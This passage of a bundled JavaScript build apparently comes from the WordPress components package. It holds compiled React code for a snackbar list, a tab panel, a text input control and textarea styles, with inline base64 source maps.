47960 // packages/components/build-module/snackbar/list.mjs
47961 var import_compose70 = __toESM(require_compose(), 1);
47962 var import_element191 = __toESM(require_element(), 1);
47963 var import_jsx_runtime267 = __toESM(require_jsx_runtime(), 1);
47964 var SNACKBAR_VARIANTS = {
47965 init: {
47966 height: 0,
47967 opacity: 0
47968 },
47969 open: {
47970 height: "auto",
47971 opacity: 1,
47972 transition: {
47973 height: {
47974 type: "tween",
47975 duration: 0.3,
47976 ease: [0, 0, 0.2, 1]
47977 },
47978 opacity: {
47979 type: "tween",
47980 duration: 0.25,
47981 delay: 0.05,
47982 ease: [0, 0, 0.2, 1]
47983 }
47984 }
47985 },
47986 exit: {
47987 opacity: 0,
47988 transition: {
47989 type: "tween",
47990 duration: 0.1,
47991 ease: [0, 0, 0.2, 1]
47992 }
47993 }
47994 };
47995 function SnackbarList({
47996 notices,
47997 className: className2,
47998 children,
47999 onRemove
48000 }) {
48001 const listRef = (0, import_element191.useRef)(null);
48002 const isReducedMotion = (0, import_compose70.useReducedMotion)();
48003 className2 = clsx_default("components-snackbar-list", className2);
48004 const removeNotice = (notice) => () => onRemove?.(notice.id);
48005 return /* @__PURE__ */ (0, import_jsx_runtime267.jsxs)("div", {
48006 className: className2,
48007 tabIndex: -1,
48008 ref: listRef,
48009 "data-testid": "snackbar-list",
48010 children: [children, /* @__PURE__ */ (0, import_jsx_runtime267.jsx)(AnimatePresence, {
48011 children: notices.map((notice) => {
48012 const {
48013 content,
48014 ...restNotice
48015 } = notice;
48016 return /* @__PURE__ */ (0, import_jsx_runtime267.jsx)(motion.div, {
48017 layout: isReducedMotion ? false : "position",
48018 style: {
48019 width: "100%"
48020 },
48021 initial: "init",
48022 animate: "open",
48023 exit: "exit",
48024 variants: isReducedMotion ? void 0 : SNACKBAR_VARIANTS,
48025 children: /* @__PURE__ */ (0, import_jsx_runtime267.jsx)("div", {
48026 className: "components-snackbar-list__notice-container",
48027 children: /* @__PURE__ */ (0, import_jsx_runtime267.jsx)(snackbar_default, {
48028 ...restNotice,
48029 onRemove: removeNotice(notice),
48030 listRef,
48031 children: notice.content
48032 })
48033 })
48034 }, notice.id);
48035 })
48036 })]
48037 });
48038 }
48039 var list_default2 = SnackbarList;
48040
48041 // packages/components/build-module/tab-panel/index.mjs
48042 var import_element192 = __toESM(require_element(), 1);
48043 var import_compose71 = __toESM(require_compose(), 1);
48044 var import_i18n76 = __toESM(require_i18n(), 1);
48045 var import_jsx_runtime268 = __toESM(require_jsx_runtime(), 1);
48046 var extractTabName = (id3) => {
48047 if (typeof id3 === "undefined" || id3 === null) {
48048 return;
48049 }
48050 return id3.match(/^tab-panel-[0-9]*-(.*)/)?.[1];
48051 };
48052 var UnforwardedTabPanel = ({
48053 className: className2,
48054 children,
48055 tabs,
48056 selectOnMove = true,
48057 initialTabName,
48058 orientation = "horizontal",
48059 activeClass = "is-active",
48060 onSelect
48061 }, ref) => {
48062 const instanceId = (0, import_compose71.useInstanceId)(TabPanel22, "tab-panel");
48063 const prependInstanceId = (0, import_element192.useCallback)((tabName) => {
48064 if (typeof tabName === "undefined") {
48065 return;
48066 }
48067 return `${instanceId}-${tabName}`;
48068 }, [instanceId]);
48069 const tabStore = useTabStore({
48070 setSelectedId: (newTabValue) => {
48071 if (typeof newTabValue === "undefined" || newTabValue === null) {
48072 return;
48073 }
48074 const newTab = tabs.find((t4) => prependInstanceId(t4.name) === newTabValue);
48075 if (newTab?.disabled || newTab === selectedTab) {
48076 return;
48077 }
48078 const simplifiedTabName = extractTabName(newTabValue);
48079 if (typeof simplifiedTabName === "undefined") {
48080 return;
48081 }
48082 onSelect?.(simplifiedTabName);
48083 },
48084 orientation,
48085 selectOnMove,
48086 defaultSelectedId: prependInstanceId(initialTabName),
48087 rtl: (0, import_i18n76.isRTL)()
48088 });
48089 const selectedTabName = extractTabName(useStoreState(tabStore, "selectedId"));
48090 const setTabStoreSelectedId = (0, import_element192.useCallback)((tabName) => {
48091 tabStore.setState("selectedId", prependInstanceId(tabName));
48092 }, [prependInstanceId, tabStore]);
48093 const selectedTab = tabs.find(({
48094 name
48095 }) => name === selectedTabName);
48096 const previousSelectedTabName = (0, import_compose71.usePrevious)(selectedTabName);
48097 (0, import_element192.useEffect)(() => {
48098 if (previousSelectedTabName !== selectedTabName && selectedTabName === initialTabName && !!selectedTabName) {
48099 onSelect?.(selectedTabName);
48100 }
48101 }, [selectedTabName, initialTabName, onSelect, previousSelectedTabName]);
48102 (0, import_element192.useLayoutEffect)(() => {
48103 if (selectedTab) {
48104 return;
48105 }
48106 const initialTab = tabs.find((tab) => tab.name === initialTabName);
48107 if (initialTabName && !initialTab) {
48108 return;
48109 }
48110 if (initialTab && !initialTab.disabled) {
48111 setTabStoreSelectedId(initialTab.name);
48112 } else {
48113 const firstEnabledTab = tabs.find((tab) => !tab.disabled);
48114 if (firstEnabledTab) {
48115 setTabStoreSelectedId(firstEnabledTab.name);
48116 }
48117 }
48118 }, [tabs, selectedTab, initialTabName, instanceId, setTabStoreSelectedId]);
48119 (0, import_element192.useEffect)(() => {
48120 if (!selectedTab?.disabled) {
48121 return;
48122 }
48123 const firstEnabledTab = tabs.find((tab) => !tab.disabled);
48124 if (firstEnabledTab) {
48125 setTabStoreSelectedId(firstEnabledTab.name);
48126 }
48127 }, [tabs, selectedTab?.disabled, setTabStoreSelectedId, instanceId]);
48128 return /* @__PURE__ */ (0, import_jsx_runtime268.jsxs)("div", {
48129 className: className2,
48130 ref,
48131 children: [/* @__PURE__ */ (0, import_jsx_runtime268.jsx)(TabList, {
48132 store: tabStore,
48133 className: "components-tab-panel__tabs",
48134 children: tabs.map((tab) => {
48135 return /* @__PURE__ */ (0, import_jsx_runtime268.jsx)(Tab, {
48136 id: prependInstanceId(tab.name),
48137 className: clsx_default("components-tab-panel__tabs-item", tab.className, {
48138 [activeClass]: tab.name === selectedTabName
48139 }),
48140 disabled: tab.disabled,
48141 "aria-controls": `${prependInstanceId(tab.name)}-view`,
48142 render: /* @__PURE__ */ (0, import_jsx_runtime268.jsx)(button_default, {
48143 __next40pxDefaultSize: true,
48144 icon: tab.icon,
48145 label: tab.icon && tab.title,
48146 showTooltip: !!tab.icon
48147 }),
48148 children: !tab.icon && tab.title
48149 }, tab.name);
48150 })
48151 }), selectedTab && /* @__PURE__ */ (0, import_jsx_runtime268.jsx)(TabPanel, {
48152 id: `${prependInstanceId(selectedTab.name)}-view`,
48153 store: tabStore,
48154 tabId: prependInstanceId(selectedTab.name),
48155 className: "components-tab-panel__tab-content",
48156 children: children(selectedTab)
48157 })]
48158 });
48159 };
48160 var TabPanel22 = (0, import_element192.forwardRef)(UnforwardedTabPanel);
48161 TabPanel22.displayName = "TabPanel";
48162 var tab_panel_default = TabPanel22;
48163
48164 // packages/components/build-module/text-control/index.mjs
48165 var import_compose72 = __toESM(require_compose(), 1);
48166 var import_element193 = __toESM(require_element(), 1);
48167 var import_jsx_runtime269 = __toESM(require_jsx_runtime(), 1);
48168 function UnforwardedTextControl(props, ref) {
48169 const {
48170 // Prevent passing this to `input`.
48171 __nextHasNoMarginBottom: _2,
48172 __next40pxDefaultSize = false,
48173 label,
48174 hideLabelFromVision,
48175 value,
48176 help,
48177 id: idProp,
48178 className: className2,
48179 onChange,
48180 type = "text",
48181 ...additionalProps
48182 } = props;
48183 const id3 = (0, import_compose72.useInstanceId)(TextControl, "inspector-text-control", idProp);
48184 const onChangeValue = (event) => onChange(event.target.value);
48185 maybeWarnDeprecated36pxSize({
48186 componentName: "TextControl",
48187 size: void 0,
48188 __next40pxDefaultSize
48189 });
48190 return /* @__PURE__ */ (0, import_jsx_runtime269.jsx)(base_control_default, {
48191 label,
48192 hideLabelFromVision,
48193 id: id3,
48194 help,
48195 className: className2,
48196 children: /* @__PURE__ */ (0, import_jsx_runtime269.jsx)("input", {
48197 className: clsx_default("components-text-control__input", {
48198 "is-next-40px-default-size": __next40pxDefaultSize
48199 }),
48200 type,
48201 id: id3,
48202 value,
48203 onChange: onChangeValue,
48204 "aria-describedby": !!help ? id3 + "__help" : void 0,
48205 ref,
48206 ...additionalProps
48207 })
48208 });
48209 }
48210 var TextControl = (0, import_element193.forwardRef)(UnforwardedTextControl);
48211 TextControl.displayName = "TextControl";
48212 var text_control_default = TextControl;
48213
48214 // packages/components/build-module/textarea-control/index.mjs
48215 var import_compose73 = __toESM(require_compose(), 1);
48216 var import_element194 = __toESM(require_element(), 1);
48217
48218 // packages/components/build-module/textarea-control/styles/textarea-control-styles.mjs
48219 var inputStyleNeutral = /* @__PURE__ */ css("box-shadow:0 0 0 transparent;border-radius:", config_values_default.radiusSmall, ";border:", config_values_default.borderWidth, " solid ", COLORS.ui.border, ";@media not ( prefers-reduced-motion ){transition:box-shadow 0.1s linear;}" + (false ? "" : ";label:inputStyleNeutral;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInRleHRhcmVhLWNvbnRyb2wtc3R5bGVzLnRzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiJBQWM2QiIsImZpbGUiOiJ0ZXh0YXJlYS1jb250cm9sLXN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgZm9udCB9IGZyb20gJy4uLy4uL3V0aWxzL2ZvbnQnO1xuaW1wb3J0IHsgQ09MT1JTIH0gZnJvbSAnLi4vLi4vdXRpbHMvY29sb3JzLXZhbHVlcyc7XG5pbXBvcnQgeyBDT05GSUcgfSBmcm9tICcuLi8uLi91dGlscyc7XG5pbXBvcnQgeyBicmVha3BvaW50IH0gZnJvbSAnLi4vLi4vdXRpbHMvYnJlYWtwb2ludCc7XG5cbmNvbnN0IGlucHV0U3R5bGVOZXV0cmFsID0gY3NzYFxuXHRib3gtc2hhZG93OiAwIDAgMCB0cmFuc3BhcmVudDtcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1NtYWxsIH07XG5cdGJvcmRlcjogJHsgQ09ORklHLmJvcmRlcldpZHRoIH0gc29saWQgJHsgQ09MT1JTLnVpLmJvcmRlciB9O1xuXG5cdEBtZWRpYSBub3QgKCBwcmVmZXJzLXJlZHVjZWQtbW90aW9uICkge1xuXHRcdHRyYW5zaXRpb246IGJveC1zaGFkb3cgMC4xcyBsaW5lYXI7XG5cdH1cbmA7XG5cbmNvbnN0IGlucHV0U3R5bGVGb2N1cyA9IGNzc2Bcblx0Ym9yZGVyLWNvbG9yOiAkeyBDT0xPUlMudGhlbWUuYWNjZW50IH07XG5cdGJveC1zaGFkb3c6IDAgMCAwXG5cdFx0Y2FsYyggJHsgQ09ORklHLmJvcmRlcldpZHRoRm9jdXMgfSAtICR7IENPTkZJRy5ib3JkZXJXaWR0aCB9IClcblx0XHQkeyBDT0xPUlMudGhlbWUuYWNjZW50IH07XG5cblx0Ly8gV2luZG93cyBIaWdoIENvbnRyYXN0IG1vZGUgd2lsbCBzaG93IHRoaXMgb3V0bGluZSwgYnV0IG5vdCB0aGUgYm94LXNoYWRvdy5cblx0b3V0bGluZTogMnB4IHNvbGlkIHRyYW5zcGFyZW50O1xuYDtcblxuZXhwb3J0IGNvbnN0IFN0eWxlZFRleHRhcmVhID0gc3R5bGVkLnRleHRhcmVhYFxuXHR3aWR0aDogMTAwJTtcblx0ZGlzcGxheTogYmxvY2s7XG5cdGZvbnQtZmFtaWx5OiAkeyBmb250KCAnZGVmYXVsdC5mb250RmFtaWx5JyApIH07XG5cdGxpbmUtaGVpZ2h0OiAyMHB4O1xuXHRiYWNrZ3JvdW5kOiAkeyBDT0xPUlMudGhlbWUuYmFja2dyb3VuZCB9O1xuXHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmZvcmVncm91bmQgfTtcblx0cmVzaXplOiB2ZXJ0aWNhbDtcblxuXHQvLyBWZXJ0aWNhbCBwYWRkaW5nIGlzIHRvIG1hdGNoIHRoZSBzdGFuZGFyZCA0MHB4IGNvbnRyb2wgaGVpZ2h0IHdoZW4gcm93cz0xLFxuXHQvLyBpbiBjb25qdW5jdGlvbiB3aXRoIHRoZSAyMHB4IGxpbmUtaGVpZ2h0LlxuXHQvLyBcIlN0YW5kYXJkXCIgbWV0cmljcyBhcmUgMTBweCAxMnB4LCBidXQgc3VidHJhY3RzIDFweCBlYWNoIHRvIGFjY291bnQgZm9yIHRoZSBib3JkZXIgd2lkdGguXG5cdHBhZGRpbmc6IDlweCAxMXB4O1xuXG5cdC8vIE1hdGNoaW5nIHRoZSAyMHB4IGxpbmUtaGVpZ2h0ICsgdGhlIDlweCB0b3AgYW5kIGJvdHRvbSBwYWRkaW5nLlxuXHRtaW4taGVpZ2h0OiAzOHB4O1xuXG5cdCR7IGlucHV0U3R5bGVOZXV0cmFsIH07XG5cblx0LyogRm9udHMgc21hbGxlciB0aGFuIDE2cHggY2F1c2VzIG1vYmlsZSBzYWZhcmkgdG8gem9vbS4gKi9cblx0Zm9udC1zaXplOiAkeyBmb250KCAnbW9iaWxlVGV4dE1pbkZvbnRTaXplJyApIH07XG5cblx0JHsgYnJlYWtwb2ludCggJ3NtYWxsJyApIH0ge1xuXHRcdGZvbnQtc2l6ZTogJHsgZm9udCggJ2RlZmF1bHQuZm9udFNpemUnICkgfTtcblx0fVxuXG5cdCY6Zm9jdXMge1xuXHRcdCR7IGlucHV0U3R5bGVGb2N1cyB9XG5cdH1cblxuXHQvLyBVc2Ugb3BhY2l0eSB0byB3b3JrIGluIHZhcmlvdXMgZWRpdG9yIHN0eWxlcy5cblx0Jjo6LXdlYmtpdC1pbnB1dC1wbGFjZWhvbGRlciB7XG5cdFx0Y29sb3I6ICR7IENPTE9SUy51aS5kYXJrR3JheVBsYWNlaG9sZGVyIH07XG5cdH1cblxuXHQmOjotbW96LXBsYWNlaG9sZGVyIHtcblx0XHRjb2xvcjogJHsgQ09MT1JTLnVpLmRhcmtHcmF5UGxhY2Vob2xkZXIgfTtcblx0fVxuXG5cdCY6LW1zLWlucHV0LXBsYWNlaG9sZGVyIHtcblx0XHRjb2xvcjogJHsgQ09MT1JTLnVpLmRhcmtHcmF5UGxhY2Vob2xkZXIgfTtcblx0fVxuXG5cdC5pcy1kYXJrLXRoZW1lICYge1xuXHRcdCY6Oi13ZWJraXQtaW5wdXQtcGxhY2Vob2xkZXIge1xuXHRcdFx0Y29sb3I6ICR7IENPTE9SUy51aS5saWdodEdyYXlQbGFjZWhvbGRlciB9O1xuXHRcdH1cblxuXHRcdCY6Oi1tb3otcGxhY2Vob2xkZXIge1xuXHRcdFx0Y29sb3I6ICR7IENPTE9SUy51aS5saWdodEdyYXlQbGFjZWhvbGRlciB9O1xuXHRcdH1cblxuXHRcdCY6LW1zLWlucHV0LXBsYWNlaG9sZGVyIHtcblx0XHRcdGNvbG9yOiAkeyBDT0xPUlMudWkubGlnaHRHcmF5UGxhY2Vob2xkZXIgfTtcblx0XHR9XG5cdH1cbmA7XG4iXX0= */");
48220 var inputStyleFocus = /* @__PURE__ */ css("border-color:", COLORS.theme.accent, ";box-shadow:0 0 0 calc( ", config_values_default.borderWidthFocus, " - ", config_values_default.borderWidth, " ) ", COLORS.theme.accent, ";outline:2px solid transparent;" + (false ? "" : ";label:inputStyleFocus;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInRleHRhcmVhLWNvbnRyb2wtc3R5bGVzLnRzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiJBQXdCMkIiLCJmaWxlIjoidGV4dGFyZWEtY29udHJvbC1zdHlsZXMudHMiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIEV4dGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgc3R5bGVkIGZyb20gJ0BlbW90aW9uL3N0eWxlZCc7XG5pbXBvcnQgeyBjc3MgfSBmcm9tICdAZW1vdGlvbi9yZWFjdCc7XG5cbi8qKlxuICogSW50ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGZvbnQgfSBmcm9tICcuLi8uLi91dGlscy9mb250JztcbmltcG9ydCB7IENPTE9SUyB9IGZyb20gJy4uLy4uL3V0aWxzL2NvbG9ycy12YWx1ZXMnO1xuaW1wb3J0IHsgQ09ORklHIH0gZnJvbSAnLi4vLi4vdXRpbHMnO1xuaW1wb3J0IHsgYnJlYWtwb2ludCB9IGZyb20gJy4uLy4uL3V0aWxzL2JyZWFrcG9pbnQnO1xuXG5jb25zdCBpbnB1dFN0eWxlTmV1dHJhbCA9IGNzc2Bcblx0Ym94LXNoYWRvdzogMCAwIDAgdHJhbnNwYXJlbnQ7XG5cdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNTbWFsbCB9O1xuXHRib3JkZXI6ICR7IENPTkZJRy5ib3JkZXJXaWR0aCB9IHNvbGlkICR7IENPTE9SUy51aS5ib3JkZXIgfTtcblxuXHRAbWVkaWEgbm90ICggcHJlZmVycy1yZWR1Y2VkLW1vdGlvbiApIHtcblx0XHR0cmFuc2l0aW9uOiBib3gtc2hhZG93IDAuMXMgbGluZWFyO1xuXHR9XG5gO1xuXG5jb25zdCBpbnB1dFN0eWxlRm9jdXMgPSBjc3NgXG5cdGJvcmRlci1jb2xvcjogJHsgQ09MT1JTLnRoZW1lLmFjY2VudCB9O1xuXHRib3gtc2hhZG93OiAwIDAgMFxuXHRcdGNhbGMoICR7IENPTkZJRy5ib3JkZXJXaWR0aEZvY3VzIH0gLSAkeyBDT05GSUcuYm9yZGVyV2lkdGggfSApXG5cdFx0JHsgQ09MT1JTLnRoZW1lLmFjY2VudCB9O1xuXG5cdC8vIFdpbmRvd3MgSGlnaCBDb250cmFzdCBtb2RlIHdpbGwgc2hvdyB0aGlzIG91dGxpbmUsIGJ1dCBub3QgdGhlIGJveC1zaGFkb3cuXG5cdG91dGxpbmU6IDJweCBzb2xpZCB0cmFuc3BhcmVudDtcbmA7XG5cbmV4cG9ydCBjb25zdCBTdHlsZWRUZXh0YXJlYSA9IHN0eWxlZC50ZXh0YXJlYWBcblx0d2lkdGg6IDEwMCU7XG5cdGRpc3BsYXk6IGJsb2NrO1xuXHRmb250LWZhbWlseTogJHsgZm9udCggJ2RlZmF1bHQuZm9udEZhbWlseScgKSB9O1xuXHRsaW5lLWhlaWdodDogMjBweDtcblx0YmFja2dyb3VuZDogJHsgQ09MT1JTLnRoZW1lLmJhY2tncm91bmQgfTtcblx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5mb3JlZ3JvdW5kIH07XG5cdHJlc2l6ZTogdmVydGljYWw7XG5cblx0Ly8gVmVydGljYWwgcGFkZGluZyBpcyB0byBtYXRjaCB0aGUgc3RhbmRhcmQgNDBweCBjb250cm9sIGhlaWdodCB3aGVuIHJvd3M9MSxcblx0Ly8gaW4gY29uanVuY3Rpb24gd2l0aCB0aGUgMjBweCBsaW5lLWhlaWdodC5cblx0Ly8gXCJTdGFuZGFyZFwiIG1ldHJpY3MgYXJlIDEwcHggMTJweCwgYnV0IHN1YnRyYWN0cyAxcHggZWFjaCB0byBhY2NvdW50IGZvciB0aGUgYm9yZGVyIHdpZHRoLlxuXHRwYWRkaW5nOiA5cHggMTFweDtcblxuXHQvLyBNYXRjaGluZyB0aGUgMjBweCBsaW5lLWhlaWdodCArIHRoZSA5cHggdG9wIGFuZCBib3R0b20gcGFkZGluZy5cblx0bWluLWhlaWdodDogMzhweDtcblxuXHQkeyBpbnB1dFN0eWxlTmV1dHJhbCB9O1xuXG5cdC8qIEZvbnRzIHNtYWxsZXIgdGhhbiAxNnB4IGNhdXNlcyBtb2JpbGUgc2FmYXJpIHRvIHpvb20uICovXG5cdGZvbnQtc2l6ZTogJHsgZm9udCggJ21vYmlsZVRleHRNaW5Gb250U2l6ZScgKSB9O1xuXG5cdCR7IGJyZWFrcG9pbnQoICdzbWFsbCcgKSB9IHtcblx0XHRmb250LXNpemU6ICR7IGZvbnQoICdkZWZhdWx0LmZvbnRTaXplJyApIH07XG5cdH1cblxuXHQmOmZvY3VzIHtcblx0XHQkeyBpbnB1dFN0eWxlRm9jdXMgfVxuXHR9XG5cblx0Ly8gVXNlIG9wYWNpdHkgdG8gd29yayBpbiB2YXJpb3VzIGVkaXRvciBzdHlsZXMuXG5cdCY6Oi13ZWJraXQtaW5wdXQtcGxhY2Vob2xkZXIge1xuXHRcdGNvbG9yOiAkeyBDT0xPUlMudWkuZGFya0dyYXlQbGFjZWhvbGRlciB9O1xuXHR9XG5cblx0Jjo6LW1vei1wbGFjZWhvbGRlciB7XG5cdFx0Y29sb3I6ICR7IENPTE9SUy51aS5kYXJrR3JheVBsYWNlaG9sZGVyIH07XG5cdH1cblxuXHQmOi1tcy1pbnB1dC1wbGFjZWhvbGRlciB7XG5cdFx0Y29sb3I6ICR7IENPTE9SUy51aS5kYXJrR3JheVBsYWNlaG9sZGVyIH07XG5cdH1cblxuXHQuaXMtZGFyay10aGVtZSAmIHtcblx0XHQmOjotd2Via2l0LWlucHV0LXBsYWNlaG9sZGVyIHtcblx0XHRcdGNvbG9yOiAkeyBDT0xPUlMudWkubGlnaHRHcmF5UGxhY2Vob2xkZXIgfTtcblx0XHR9XG5cblx0XHQmOjotbW96LXBsYWNlaG9sZGVyIHtcblx0XHRcdGNvbG9yOiAkeyBDT0xPUlMudWkubGlnaHRHcmF5UGxhY2Vob2xkZXIgfTtcblx0XHR9XG5cblx0XHQmOi1tcy1pbnB1dC1wbGFjZWhvbGRlciB7XG5cdFx0XHRjb2xvcjogJHsgQ09MT1JTLnVpLmxpZ2h0R3JheVBsYWNlaG9sZGVyIH07XG5cdFx0fVxuXHR9XG5gO1xuIl19 */");
48221 var StyledTextarea = /* @__PURE__ */ createStyled("textarea", false ? {
48222 target: "e1w5nnrk0"
48223 } : {
48224 target: "e1w5nnrk0",
48225 label: "StyledTextarea"
48226 })("width:100%;display:block;font-family:", font("default.fontFamily"), ";line-height:20px;background:", COLORS.theme.background, ";color:", COLORS.theme.foreground, ";resize:vertical;padding:9px 11px;min-height:38px;", inputStyleNeutral, ";font-size:", font("mobileTextMinFontSize"), ";", breakpoint("small"), "{font-size:", font("default.fontSize"), ";}&:focus{", inputStyleFocus, ";}&::-webkit-input-placeholder{color:", COLORS.ui.darkGrayPlaceholder, ";}&::-moz-placeholder{color:", COLORS.ui.darkGrayPlaceholder, ";}&:-ms-input-placeholder{color:", COLORS.ui.darkGrayPlaceholder, ";}.is-dark-theme &{&::-webkit-input-placeholder{color:", COLORS.ui.lightGrayPlaceholder, ";}&::-moz-placeholder{color:", COLORS.ui.lightGrayPlaceholder, ";}&:-ms-input-placeholder{color:", COLORS.ui.lightGrayPlaceholder, ";}}" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInRleHRhcmVhLWNvbnRyb2wtc3R5bGVzLnRzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiJBQWtDNkMiLCJmaWxlIjoidGV4dGFyZWEtY29udHJvbC1zdHlsZXMudHMiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIEV4dGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgc3R5bGVkIGZyb20gJ0BlbW90aW9uL3N0eWxlZCc7XG5pbXBvcnQgeyBjc3MgfSBmcm9tICdAZW1vdGlvbi9yZWFjdCc7XG5cbi8qKlxuICogSW50ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGZvbnQgfSBmcm9tICcuLi8uLi91dGlscy9mb250JztcbmltcG9ydCB7IENPTE9SUyB9IGZyb20gJy4uLy4uL3V0aWxzL2NvbG9ycy12YWx1ZXMnO1xuaW1wb3J0IHsgQ09ORklHIH0gZnJvbSAnLi4vLi4vdXRpbHMnO1xuaW1wb3J0IHsgYnJlYWtwb2ludCB9IGZyb20gJy4uLy4uL3V0aWxzL2JyZWFrcG9pbnQnO1xuXG5jb25zdCBpbnB1dFN0eWxlTmV1dHJhbCA9IGNzc2Bcblx0Ym94LXNoYWRvdzogMCAwIDAgdHJhbnNwYXJlbnQ7XG5cdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNTbWFsbCB9O1xuXHRib3JkZXI6ICR7IENPTkZJRy5ib3JkZXJXaWR0aCB9IHNvbGlkICR7IENPTE9SUy51aS5ib3JkZXIgfTtcblxuXHRAbWVkaWEgbm90ICggcHJlZmVycy1yZWR1Y2VkLW1vdGlvbiApIHtcblx0XHR0cmFuc2l0aW9uOiBib3gtc2hhZG93IDAuMXMgbGluZWFyO1xuXHR9XG5gO1xuXG5jb25zdCBpbnB1dFN0eWxlRm9jdXMgPSBjc3NgXG5cdGJvcmRlci1jb2xvcjogJHsgQ09MT1JTLnRoZW1lLmFjY2VudCB9O1xuXHRib3gtc2hhZG93OiAwIDAgMFxuXHRcdGNhbGMoICR7IENPTkZJRy5ib3JkZXJXaWR0aEZvY3VzIH0gLSAkeyBDT05GSUcuYm9yZGVyV2lkdGggfSApXG5cdFx0JHsgQ09MT1JTLnRoZW1lLmFjY2VudCB9O1xuXG5cdC8vIFdpbmRvd3MgSGlnaCBDb250cmFzdCBtb2RlIHdpbGwgc2hvdyB0aGlzIG91dGxpbmUsIGJ1dCBub3QgdGhlIGJveC1zaGFkb3cuXG5cdG91dGxpbmU6IDJweCBzb2xpZCB0cmFuc3BhcmVudDtcbmA7XG5cbmV4cG9ydCBjb25zdCBTdHlsZWRUZXh0YXJlYSA9IHN0eWxlZC50ZXh0YXJlYWBcblx0d2lkdGg6IDEwMCU7XG5cdGRpc3BsYXk6IGJsb2NrO1xuXHRmb250LWZhbWlseTogJHsgZm9udCggJ2RlZmF1bHQuZm9udEZhbWlseScgKSB9O1xuXHRsaW5lLWhlaWdodDogMjBweDtcblx0YmFja2dyb3VuZDogJHsgQ09MT1JTLnRoZW1lLmJhY2tncm91bmQgfTtcblx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5mb3JlZ3JvdW5kIH07XG5cdHJlc2l6ZTogdmVydGljYWw7XG5cblx0Ly8gVmVydGljYWwgcGFkZGluZyBpcyB0byBtYXRjaCB0aGUgc3RhbmRhcmQgNDBweCBjb250cm9sIGhlaWdodCB3aGVuIHJvd3M9MSxcblx0Ly8gaW4gY29uanVuY3Rpb24gd2l0aCB0aGUgMjBweCBsaW5lLWhlaWdodC5cblx0Ly8gXCJTdGFuZGFyZFwiIG1ldHJpY3MgYXJlIDEwcHggMTJweCwgYnV0IHN1YnRyYWN0cyAxcHggZWFjaCB0byBhY2NvdW50IGZvciB0aGUgYm9yZGVyIHdpZHRoLlxuXHRwYWRkaW5nOiA5cHggMTFweDtcblxuXHQvLyBNYXRjaGluZyB0aGUgMjBweCBsaW5lLWhlaWdodCArIHRoZSA5cHggdG9wIGFuZCBib3R0b20gcGFkZGluZy5cblx0bWluLWhlaWdodDogMzhweDtcblxuXHQkeyBpbnB1dFN0eWxlTmV1dHJhbCB9O1xuXG5cdC8qIEZvbnRzIHNtYWxsZXIgdGhhbiAxNnB4IGNhdXNlcyBtb2JpbGUgc2FmYXJpIHRvIHpvb20uICovXG5cdGZvbnQtc2l6ZTogJHsgZm9udCggJ21vYmlsZVRleHRNaW5Gb250U2l6ZScgKSB9O1xuXG5cdCR7IGJyZWFrcG9pbnQoICdzbWFsbCcgKSB9IHtcblx0XHRmb250LXNpemU6ICR7IGZvbnQoICdkZWZhdWx0LmZvbnRTaXplJyApIH07XG5cdH1cblxuXHQmOmZvY3VzIHtcblx0XHQkeyBpbnB1dFN0eWxlRm9jdXMgfVxuXHR9XG5cblx0Ly8gVXNlIG9wYWNpdHkgdG8gd29yayBpbiB2YXJpb3VzIGVkaXRvciBzdHlsZXMuXG5cdCY6Oi13ZWJraXQtaW5wdXQtcGxhY2Vob2xkZXIge1xuXHRcdGNvbG9yOiAkeyBDT0xPUlMudWkuZGFya0dyYXlQbGFjZWhvbGRlciB9O1xuXHR9XG5cblx0Jjo6LW1vei1wbGFjZWhvbGRlciB7XG5cdFx0Y29sb3I6ICR7IENPTE9SUy51aS5kYXJrR3JheVBsYWNlaG9sZGVyIH07XG5cdH1cblxuXHQmOi1tcy1pbnB1dC1wbGFjZWhvbGRlciB7XG5cdFx0Y29sb3I6ICR7IENPTE9SUy51aS5kYXJrR3JheVBsYWNlaG9sZGVyIH07XG5cdH1cblxuXHQuaXMtZGFyay10aGVtZSAmIHtcblx0XHQmOjotd2Via2l0LWlucHV0LXBsYWNlaG9sZGVyIHtcblx0XHRcdGNvbG9yOiAkeyBDT0xPUlMudWkubGlnaHRHcmF5UGxhY2Vob2xkZXIgfTtcblx0XHR9XG5cblx0XHQmOjotbW96LXBsYWNlaG9sZGVyIHtcblx0XHRcdGNvbG9yOiAkeyBDT0xPUlMudWkubGlnaHRHcmF5UGxhY2Vob2xkZXIgfTtcblx0XHR9XG5cblx0XHQmOi1tcy1pbnB1dC1wbGFjZWhvbGRlciB7XG5cdFx0XHRjb2xvcjogJHsgQ09MT1JTLnVpLmxpZ2h0R3JheVBsYWNlaG9sZGVyIH07XG5cdFx0fVxuXHR9XG5gO1xuIl19 */"));
48227
